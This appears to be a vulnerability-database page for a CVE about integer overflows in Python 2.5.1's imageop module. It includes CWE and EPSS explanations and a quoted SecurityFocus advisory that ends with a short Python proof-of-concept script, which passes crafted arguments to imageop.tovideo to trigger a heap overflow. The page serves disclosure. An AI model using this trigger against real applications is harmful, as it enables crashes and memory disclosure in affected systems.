CVE Descriptions

Multiple integer overflows in the imageop module in Python 2.5.1 and earlier allow context-dependent attackers to cause a denial of service (application crash) and possibly obtain sensitive information (memory contents) via crafted arguments to (1) the tovideo method, and unspecified other vectors related to (2) imageop.c, (3) rbgimgmodule.c, and other files, which trigger heap-based buffer overflows.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-190 Integer Overflow or Wraparound
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/25696/info Python's imageop module is prone to multiple integer-overflow vulnerabilities because it fails to properly bounds-check user-supplied input to ensure that integer operations do not overflow. To successfully exploit these issues, an attacker must be able to control the arguments to imageop functions. Remote attackers may be able to do this, depending on the nature of applications that use the vulnerable functions. Attackers would likely submit invalid or specially crafted images to applications that perform imageop operations on the data. A successful exploit may allow attacker-supplied machine code to run in the context of affected applications, facilitating the remote compromise of computers. #!/usr/bin/python import imageop sexshit = "a"*1603 evil = "p"*5241 connard = "s"*2000 supaire= "45"*65 print supaire connard = "cool" salope = "suceuse" dtc = imageop.tovideo(sexshit,1,4461,-2147002257) sexshit = "dtc"*52 print connard,supaire," fin de dump"
